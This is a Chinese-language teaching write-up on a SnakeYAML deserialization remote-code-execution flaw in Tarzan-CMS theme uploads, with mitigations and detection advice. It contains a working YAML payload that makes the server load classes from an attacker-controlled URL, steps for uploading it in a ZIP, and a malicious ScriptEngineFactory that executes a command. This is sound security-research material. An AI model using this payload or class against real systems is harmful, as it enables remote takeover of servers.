Tarzan-CMS SnakeYAML反序列化漏洞分析教学文档<\/h1>

1. 漏洞概述<\/h2>

1.1 基本信息<\/h3>

漏洞名称<\/strong>：Tarzan-CMS SnakeYAML反序列化漏洞（ScriptEngineManager利用链）<\/li>
影响组件<\/strong>：SnakeYAML 1.27<\/li>
漏洞类型<\/strong>：反序列化远程代码执行<\/li>

风险等级<\/strong>：高危<\/li> <\/ul>
1.2 漏洞原理<\/h3>
Tarzan-CMS在处理主题上传功能时，使用SnakeYAML库的Yaml.load()<\/code>方法解析ZIP包中的theme.yaml<\/code>文件，由于未对输入内容进行安全过滤，攻击者可通过构造恶意YAML内容触发ScriptEngineManager利用链，实现远程代码执行。<\/p>
2. 环境搭建<\/h2> 2.1 获取源码<\/h3> git clone https:\/\/gitee.com\/taisan\/tarzan-cms.git <\/span><\/span><\/code><\/pre>2.2 环境配置<\/h3> 修改配置文件中的数据库账密信息<\/li> 导入数据库配置文件<\/li> 确保Maven依赖中包含snakeyaml:1.27<\/li> <\/ol> 3. 漏洞分析<\/h2> 3.1 漏洞入口点<\/h3> 漏洞位于主题上传功能的核心处理流程：<\/p> public<\/span> static<\/span> String getZipThemeName<\/span>(<\/span>InputStream is)<\/span> throws<\/span> IOException {<\/span> <\/span><\/span> ZipInputStream zis =<\/span> new<\/span> ZipInputStream(<\/span>is);<\/span> <\/span><\/span> ZipEntry zipEntry =<\/span> zis.<\/span>getNextEntry<\/span>();<\/span> <\/span><\/span> <\/span><\/span> while<\/span> (<\/span>zipEntry !=<\/span> null<\/span>)<\/span> {<\/span> <\/span><\/span> if<\/span>(<\/span>zipEntry.<\/span>getName<\/span>().<\/span>contains<\/span>(<\/span>"theme.yaml"<\/span>)){<\/span> <\/span><\/span> Yaml yaml =<\/span> new<\/span> Yaml();<\/span> <\/span><\/span> Map<<\/span>String,<\/span>Object><\/span> map =<\/span> yaml.<\/span>load<\/span>(<\/span>zis);<\/span> \/\/ 漏洞点 <\/span><\/span><\/span><\/span> return<\/span> (<\/span>String)<\/span> map.<\/span>get<\/span>(<\/span>"name"<\/span>);<\/span> <\/span><\/span> }<\/span> <\/span><\/span> zipEntry =<\/span> zis.<\/span>getNextEntry<\/span>();<\/span> <\/span><\/span> }<\/span> <\/span><\/span> return<\/span> null<\/span>;<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>3.2 调用链分析<\/h3> 控制层入口<\/strong>：\/upload<\/code>接口接收MultipartFile文件<\/li> 服务层处理<\/strong>：themeService.upload(file)<\/code>调用上传逻辑<\/li> 核心解析<\/strong>：getZipThemeName()<\/code>方法使用Yaml.load()<\/code>解析ZIP中的theme.yaml文件<\/li> <\/ol> 3.3 反序列化利用链<\/h3> 3.3.1 ScriptEngineManager利用机制<\/h4> !!javax.script.ScriptEngineManager<\/span> [ <\/span><\/span> !!java.net.URLClassLoader<\/span> [[ <\/span><\/span> !!java.net.URL<\/span> ["http:\/\/attacker.com"<\/span>] <\/span><\/span> ]] <\/span><\/span>] <\/span><\/span><\/code><\/pre>3.3.2 利用链详细分析<\/h4> ScriptEngineManager构造函数<\/strong>：触发类加载机制<\/p> <\/li> ServiceLoader加载过程<\/strong>：<\/p> PREFIX<\/code>: META-INF\/services\/<\/li> service<\/code>: javax.script.ScriptEngineFactory<\/li> loader<\/code>: http:\/\/attacker.com<\/li> fullname<\/code>: META-INF\/services\/javax.script.ScriptEngineFactory<\/li> <\/ul> <\/li> 迭代器触发<\/strong>：<\/p> lookupIterator.hasNext()<\/code> → hasNextService()<\/code> → 加载远程SPI文件<\/li> <\/ul> <\/li> <\/ol> 4. 漏洞复现<\/h2> 4.1 准备工作<\/h3> 搭建恶意HTTP服务器（如：http:\/\/ttzepj.dnslog.cn）<\/li> 准备恶意YAML载荷文件<\/li> <\/ol> 4.2 POC构造<\/h3> 创建包含恶意theme.yaml的ZIP包：<\/p> !!javax.script.ScriptEngineManager<\/span> [ <\/span><\/span> !!java.net.URLClassLoader<\/span> [[ <\/span><\/span> !!java.net.URL<\/span> ["http:\/\/your-dnslog-domain.com"<\/span>] <\/span><\/span> ]] <\/span><\/span>] <\/span><\/span><\/code><\/pre>4.3 利用步骤<\/h3> 访问Tarzan-CMS主题管理界面<\/li> 上传构造的恶意ZIP包<\/li> 观察DNS日志回连情况<\/li> <\/ol> 4.4 命令执行利用<\/h3> 使用改进的恶意ScriptEngineFactory实现代码执行：<\/p> package<\/span> artsploit;<\/span> <\/span><\/span> <\/span><\/span>import<\/span> javax.script.ScriptEngine;<\/span> <\/span><\/span>import<\/span> javax.script.ScriptEngineFactory;<\/span> <\/span><\/span>import<\/span> java.io.IOException;<\/span> <\/span><\/span>import<\/span> java.util.List;<\/span> <\/span><\/span> <\/span><\/span>public<\/span> class<\/span> AwesomeScriptEngineFactory<\/span> implements<\/span> ScriptEngineFactory {<\/span> <\/span><\/span> <\/span><\/span> public<\/span> AwesomeScriptEngineFactory<\/span>()<\/span> {<\/span> <\/span><\/span> try<\/span> {<\/span> <\/span><\/span> \/\/ 替换calc为实际攻击命令 <\/span><\/span><\/span><\/span> Runtime.<\/span>getRuntime<\/span>().<\/span>exec<\/span>(<\/span>"calc"<\/span>);<\/span> <\/span><\/span> }<\/span> catch<\/span> (<\/span>IOException e)<\/span> {<\/span> <\/span><\/span> e.<\/span>printStackTrace<\/span>();<\/span> <\/span><\/span> }<\/span> <\/span><\/span> }<\/span> <\/span><\/span> <\/span><\/span> \/\/ 其他必要方法实现... <\/span><\/span><\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>5. 防护措施<\/h2> 5.1 临时缓解方案<\/h3> 禁用主题上传功能<\/li> 对上传文件进行严格的白名单验证<\/li> <\/ol> 5.2 根本解决方案<\/h3> 升级SnakeYAML<\/strong>：使用最新版本并配置安全选项<\/li> 安全反序列化<\/strong>：使用Yaml.SafeConstructor<\/code>替代默认构造函数<\/li> 输入验证<\/strong>：对YAML内容进行严格的格式验证<\/li> <\/ol> \/\/ 安全的使用方式 <\/span><\/span><\/span><\/span>Yaml yaml =<\/span> new<\/span> Yaml(<\/span>new<\/span> SafeConstructor());<\/span> <\/span><\/span><\/code><\/pre>6. 技术要点总结<\/h2> 6.1 关键漏洞点<\/h3> 使用不安全的Yaml.load()<\/code>方法<\/li> 未对用户输入的YAML内容进行过滤<\/li> 依赖过时的SnakeYAML版本<\/li> <\/ul> 6.2 利用条件<\/h3> 攻击者需要具有主题上传权限<\/li> 目标服务器需要能够访问外部网络<\/li> 需要绕过可能的文件类型检查<\/li> <\/ul> 6.3 检测方法<\/h3> 检查系统中是否存在SnakeYAML 1.27及以下版本<\/li> 审查代码中是否使用Yaml.load()<\/code>方法<\/li> 监控异常的网络连接请求<\/li> <\/ul> 7. 参考资源<\/h2> 官方漏洞分析：先知社区原文<\/li> 利用工具：https:\/\/github.com\/artsploit\/yaml-payload<\/li> SnakeYAML安全配置文档<\/li> <\/ul> 本教学文档基于先知社区发布的漏洞分析文章整理而成，重点突出了漏洞原理、利用方法和防护措施，适用于安全研究人员进行漏洞复现和防护方案制定。<\/em><\/p>